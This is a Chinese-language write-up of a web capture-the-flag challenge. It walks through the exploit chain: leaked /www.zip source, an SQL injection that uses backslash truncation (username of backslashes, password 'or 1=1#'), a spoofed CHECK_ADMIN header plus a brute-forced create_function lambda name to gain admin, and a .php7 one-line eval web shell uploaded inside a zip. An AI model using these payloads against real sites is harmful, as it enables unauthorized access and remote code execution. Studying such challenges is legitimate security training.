拿到题目,学长给了hint,代码泄露,可以直接拿御剑扫,也可以在网站后面写/www.zip
拿到源代码
看了题目后第一层有两个可能,一个是爆破进去,还有一个是sql注入,看源代码里有sql语句的拼接,而且爆破可能性太低,所以选择sql注入
sql注入
代码审计
function escape1($string){
$a = 1;
$b = 2;
global $link;
$string = $link->real_escape_string($string);
return $string;
}
function check($seesee){
$seesee = trim(escape1($seesee));
if(strlen($seesee)<5){
die("就这还想登录?");
}
if(strlen($seesee)>11){
$seesee = substr($seesee, 0, 11);
}
return $seesee;
}
首先发现real_escape_string()
有引号过滤,不止是引号过滤,反斜杠都过滤了
但是看第二个函数,如果字符串超过11个字符的时候只取下标为0-10的11个字符
所以我们可以这样输入:
username=\\\\\\
password=or 1=1#
为什么这样输入?
当用户名我们写六个反斜杠的时候,由于real_escape_string()
这个函数把六个反斜杠转义成了12个反斜杠,超过了11个,所以只会截取11个反斜杠来sql拼接,妙就妙在这里了,sql语句拼接的时候是11个反斜杠,其中前10个都被转义了,而最后一个第11个恰巧单独出来了,把后面的引号给转义了,剩下的操作就简单了,所以实际上的sql语句就是这样的:
SELECT username, password FROM user WHERE username='\\\\\\\\\\\' && password='or 1=1 #'
登陆成功
ssrf
继续代审计
$remote_check_admin = create_function("",'if(isset($_SERVER["HTTP_CHECK_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CHECK_ADMIN"];}');
eval("function admin_$rdmrd() {"
."global \$remote_check_admin; \$remote_check_admin();var_dump(1);"
."}");
send_to_phone($rdmrd);
$_GET['rdmrd']();
if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
$_SESSION['admin'] = "True";
echo "欢迎您admin,即将为您跳转到后台";
sleep(3);
echo "<script> alert('欢迎您admin,即将为您跳转到后台');parent.location.href='./admin.php'; </script>";
}
$_SERVER['REMOTE_ADDR']=="127.0.0.1"
看到这一步就知道是ssrf了,需要调用网站本地的函数来验证身份
刚好就在上面有个匿名函数$_GET['rdmrd']();
用get方式给rdmrd传一个函数名
看到这里有个这个东西
create_function("",'if(isset($_SERVER["HTTP_CHECK_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CHECK_ADMIN"];}');
eval("function admin_$rdmrd() {"
."global \$remote_check_admin; \$remote_check_admin();var_dump(1);"
."}"); # 调用了上面这个函数
我百度了一下这两个东西create_function()
和$_SERVER["HTTP_CHECK_ADMIN"]
create_function()
首先看create_function()
,这篇博客讲的很详细了,这个函数虽说是创建匿名函数,但是这个函数还是有名字的
看这篇博客就有写create_function()
函数创建的匿名函数是%00lambda_%d
,%d会递增
顺着这篇博客我发现可以通过爆破把这个数字爆出来,所以burp先预定了
$_SERVER[“HTTP_CHECK_ADMIN”]
这里我直接搜这个没搜到,于是就找了一个比较完整的自己找,这篇博客写的很全,还是没找到这个,但是我看到这些很相像,都是请求头的信息,所以我估计是他自己创的名字,只需要在请求头里加上这个项就可以了check_admin=127.0.0.1
这里整理一下这波ssrf的思路:
- 首先给参数rdmrd传值,传的值应该是那个匿名函数的名字,
%00lambda_x
但是这个x这个数字我们不知道 - 在请求头中加上
check_admin=127.0.0.1
都要用burp来改包,所以第一步这个整数我们不知道可以直接爆破
跑完后会有不一样的出现,而服务器会记录下来,所以再去访问admin.php的时候就可以访问进去了(我这个是已经进去后有记录了的)
下一步就是文件上传了
文件上传
代码审计
function Drawtarget($file,$path){
$zipfile = new ZipArchive;
if ($zipfile->open($file) === TRUE) {
$zipfile->extractTo($path);
$zipfile->close();
}
}
function SeeseeDir($path) {
$papers = scandir($path);
foreach ($papers as $document) {
$address = "$path/$document";
if (is_file($address)) {
$section = pathinfo($document);
$tailoring = strtolower($section['extension']);
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","htaccess","ini");
if (!in_array($tailoring, $deny_ext)) {
@chmod($address, 0666);
} else {
@chmod($address, 0666);
unlink($address);
}
} elseif ($document != '.' && $document != '..' && is_dir($address)) {
CheckDir($address);
}
}
}
看到这个if (!in_array($tailoring, $deny_ext))
就知道是一个黑名单,看黑名单里的东西,漏了php7
我一开始一直在尝试直接传php文件,大小写绕过也试过,但是莫得用,后来看到这个
function Drawtarget($file,$path){
$zipfile = new ZipArchive;
if ($zipfile->open($file) === TRUE) {
$zipfile->extractTo($path);
$zipfile->close();
}
百度了一下这个,他是把压缩文件解压,原来直接传zip就可以了,而且题目也明示叫我们传zip文件(滑稽)
所以把一句话木马写进去,后缀改成php7,放进一个压缩包里再传上去
写一句话木马
<?php @eval($_POST["1"]); ?>
给出文件地址,直接访问
可以看到传上去了(我传过两次,所以上面还有一个2.php7,是看phpinfo的)
打开蚁剑
连接成功了,flag也到手了